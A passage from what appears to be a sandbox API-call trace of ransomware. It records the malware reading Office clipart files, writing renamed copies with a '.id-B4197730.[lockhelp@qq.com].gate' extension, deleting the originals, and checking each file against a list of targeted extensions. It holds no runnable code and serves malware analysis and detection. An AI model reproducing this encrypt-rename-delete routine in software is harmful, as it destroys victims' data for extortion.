[0282.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0282.443] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.443] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0282.443] GetLastError () returned 0x0 [0282.443] ReadFile (in: hFile=0x4a4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1384, lpOverlapped=0x0) returned 1 [0282.545] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1390, lpOverlapped=0x0) returned 1 [0282.546] ReadFile (in: hFile=0x4a4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0282.546] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0282.547] SetEndOfFile (hFile=0x418) returned 1 [0282.547] CloseHandle (hObject=0x418) returned 1 [0282.548] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.548] SetEndOfFile (hFile=0x4a4) returned 1 [0282.553] CloseHandle (hObject=0x4a4) returned 1 [0282.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0282.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0282.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0282.558] lstrlenW (lpString=".doc") returned 4 [0282.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.558] lstrlenW (lpString=".docx") returned 5 [0282.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.558] lstrlenW (lpString=".pdf") returned 4 [0282.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.558] lstrlenW (lpString=".xls") returned 4 [0282.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.558] lstrlenW (lpString=".xlsx") returned 5 [0282.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.558] lstrlenW (lpString=".ppt") returned 4 [0282.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0282.558] lstrlenW (lpString=".zip") returned 4 [0282.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.558] lstrlenW (lpString=".rar") returned 4 [0282.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.558] lstrlenW (lpString=".bz2") returned 4 [0282.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.558] lstrlenW (lpString=".7z") returned 3 [0282.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0282.559] lstrlenW (lpString=".dbf") returned 4 [0282.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0282.559] lstrlenW (lpString=".1cd") returned 4 [0282.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0282.559] lstrlenW (lpString=".jpg") returned 4 [0282.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0282.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0282.559] lstrlenW (lpString=".doc") returned 4 [0282.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.559] lstrlenW (lpString=".docx") returned 5 [0282.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.559] lstrlenW (lpString=".pdf") returned 4 [0282.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.559] lstrlenW (lpString=".xls") returned 4 [0282.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.559] lstrlenW (lpString=".xlsx") returned 5 [0282.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.559] lstrlenW (lpString=".ppt") returned 4 [0282.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0282.559] lstrlenW (lpString=".zip") returned 4 [0282.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.559] lstrlenW (lpString=".rar") returned 4 [0282.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.559] lstrlenW (lpString=".bz2") returned 4 [0282.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.559] lstrlenW (lpString=".7z") returned 3 [0282.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0282.560] lstrlenW (lpString=".dbf") returned 4 [0282.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0282.560] lstrlenW (lpString=".1cd") returned 4 [0282.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0282.560] lstrlenW (lpString=".jpg") returned 4 [0282.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.560] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.560] lstrlenW (lpString="BD00116_.WMF") returned 12 [0282.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.586] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=4870) returned 1 [0282.586] CloseHandle (hObject=0x4b4) returned 1 [0282.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0282.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.587] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.587] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0282.588] GetLastError () returned 0x0 [0282.588] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1306, lpOverlapped=0x0) returned 1 [0282.660] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1310, lpOverlapped=0x0) returned 1 [0282.661] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0282.662] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0282.662] SetEndOfFile (hFile=0x418) returned 1 [0282.662] CloseHandle (hObject=0x418) returned 1 [0282.662] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.662] SetEndOfFile (hFile=0x4b4) returned 1 [0282.664] CloseHandle (hObject=0x4b4) returned 1 [0282.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0282.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0282.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0282.666] lstrlenW (lpString=".doc") returned 4 [0282.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.666] lstrlenW (lpString=".docx") returned 5 [0282.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.666] lstrlenW (lpString=".pdf") returned 4 [0282.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.666] lstrlenW (lpString=".xls") returned 4 [0282.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.666] lstrlenW (lpString=".xlsx") returned 5 [0282.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.666] lstrlenW (lpString=".ppt") returned 4 [0282.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0282.666] lstrlenW (lpString=".zip") returned 4 [0282.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.666] lstrlenW (lpString=".rar") returned 4 [0282.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.666] lstrlenW (lpString=".bz2") returned 4 [0282.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.666] lstrlenW (lpString=".7z") returned 3 [0282.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0282.666] lstrlenW (lpString=".dbf") returned 4 [0282.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0282.666] lstrlenW (lpString=".1cd") returned 4 [0282.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0282.666] lstrlenW (lpString=".jpg") returned 4 [0282.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0282.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0282.667] lstrlenW (lpString=".doc") returned 4 [0282.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.667] lstrlenW (lpString=".docx") returned 5 [0282.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.667] lstrlenW (lpString=".pdf") returned 4 [0282.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.667] lstrlenW (lpString=".xls") returned 4 [0282.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.667] lstrlenW (lpString=".xlsx") returned 5 [0282.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.667] lstrlenW (lpString=".ppt") returned 4 [0282.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0282.667] lstrlenW (lpString=".zip") returned 4 [0282.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.667] lstrlenW (lpString=".rar") returned 4 [0282.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.667] lstrlenW (lpString=".bz2") returned 4 [0282.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.667] lstrlenW (lpString=".7z") returned 3 [0282.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0282.667] lstrlenW (lpString=".dbf") returned 4 [0282.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0282.667] lstrlenW (lpString=".1cd") returned 4 [0282.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0282.667] lstrlenW (lpString=".jpg") returned 4 [0282.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.668] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.668] lstrlenW (lpString="BD00155_.WMF") returned 12 [0282.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.668] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11636) returned 1 [0282.668] CloseHandle (hObject=0x4b4) returned 1 [0282.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220 [0282.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.670] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.670] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0282.671] GetLastError () returned 0x0 [0282.671] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x2d74, lpOverlapped=0x0) returned 1 [0282.851] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0282.852] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0282.852] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0282.852] SetEndOfFile (hFile=0x418) returned 1 [0282.852] CloseHandle (hObject=0x418) returned 1 [0282.853] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.853] SetEndOfFile (hFile=0x4b4) returned 1 [0282.855] CloseHandle (hObject=0x4b4) returned 1 [0282.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0282.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0282.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0282.874] lstrlenW (lpString=".doc") returned 4 [0282.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.874] lstrlenW (lpString=".docx") returned 5 [0282.874] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.874] lstrlenW (lpString=".pdf") returned 4 [0282.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.875] lstrlenW (lpString=".xls") returned 4 [0282.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.875] lstrlenW (lpString=".xlsx") returned 5 [0282.875] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.875] lstrlenW (lpString=".ppt") returned 4 [0282.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0282.875] lstrlenW (lpString=".zip") returned 4 [0282.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.875] lstrlenW (lpString=".rar") returned 4 [0282.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.875] lstrlenW (lpString=".bz2") returned 4 [0282.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.875] lstrlenW (lpString=".7z") returned 3 [0282.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0282.875] lstrlenW (lpString=".dbf") returned 4 [0282.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0282.875] lstrlenW (lpString=".1cd") returned 4 [0282.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0282.875] lstrlenW (lpString=".jpg") returned 4 [0282.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0282.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0282.875] lstrlenW (lpString=".doc") returned 4 [0282.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.875] lstrlenW (lpString=".docx") returned 5 [0282.875] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.875] lstrlenW (lpString=".pdf") returned 4 [0282.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.875] lstrlenW (lpString=".xls") returned 4 [0282.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.876] lstrlenW (lpString=".xlsx") returned 5 [0282.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.876] lstrlenW (lpString=".ppt") returned 4 [0282.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0282.876] lstrlenW (lpString=".zip") returned 4 [0282.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.876] lstrlenW (lpString=".rar") returned 4 [0282.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.876] lstrlenW (lpString=".bz2") returned 4 [0282.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.876] lstrlenW (lpString=".7z") returned 3 [0282.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0282.876] lstrlenW (lpString=".dbf") returned 4 [0282.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0282.876] lstrlenW (lpString=".1cd") returned 4 [0282.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0282.876] lstrlenW (lpString=".jpg") returned 4 [0282.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.876] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.876] lstrlenW (lpString="BD06200_.WMF") returned 12 [0282.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.877] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=16676) returned 1 [0282.877] CloseHandle (hObject=0x4b4) returned 1 [0282.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0282.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 